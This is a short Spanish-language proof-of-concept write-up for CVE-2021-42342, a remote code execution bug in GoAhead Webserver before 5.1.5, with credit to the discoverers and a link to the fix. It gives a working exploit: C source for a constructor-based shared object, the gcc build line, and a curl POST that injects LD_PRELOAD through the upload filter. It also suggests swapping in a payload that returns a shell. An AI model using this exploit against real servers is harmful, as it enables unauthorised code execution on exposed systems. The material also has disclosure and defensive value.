
Un pequeño PoC para el reciente RCE encontrado en el Goahead Webserver anterior a la versión 5.1.5.
Un error reciente en Goahead Webserver fue descubierto por William Bowling que conduce a RCE en el servidor explotado.
El problema existe en versiones anteriores a la 5.1.5 que, según Shodan, cubren alrededor de 2.8 millones de servidores en internet.
Ahora hay un CVE disponible [https://nvd.nist.gov/vuln/detail/CVE-2021-42342]
El RCE se debe al hecho de que si el filtro de subida de archivos está habilitado, el usuario puede subir archivos y, al mismo tiempo, establecer variables de formulario de usuario.
Estas variables terminan siendo variables de entorno del sistema operativo. Normalmente esto no es un problema, ya que en los casos normales de subida de formularios, las variables de entorno se prefijan con CGI_ (por defecto). Sin embargo, si el filtro de subida de archivos está habilitado, un error en el código hace que este prefijo se omita = RCE instantáneo mediante variables de entorno + archivo.
Lo siguiente simplemente imprime "Hello World" en el servidor remoto, pero podría ser cualquier cosa en realidad:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello World!\n", 14);
}
Compilar con:
gcc -fPIC -shared -o poc.so poc.c -nostartfiles
ahora estamos listos para enviar nuestro archivo al servidor. Esto se puede hacer con curl:
curl -X POST http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'
cambia [TARGET] por el dominio/ip del servidor objetivo.
Probablemente verás un error del servidor, pero prueba con otro objeto compartido que, por ejemplo, te devuelva una buena shell 👍
Ya hay una solución con goahead 5.1.5 aquí: [https://github.com/embedthis/goahead/issues/305]
El problema fue encontrado inicialmente por Willian Bowling del equipo Perfect Blue CTF. Durante el pbCTF 2021, un desafío era la versión existente del servidor goahead en ese momento (5.1.4), y junto con el Kalmarunionen CTF Team nos topamos con el mismo problema 0day en el código (aún sin revelar a los autores).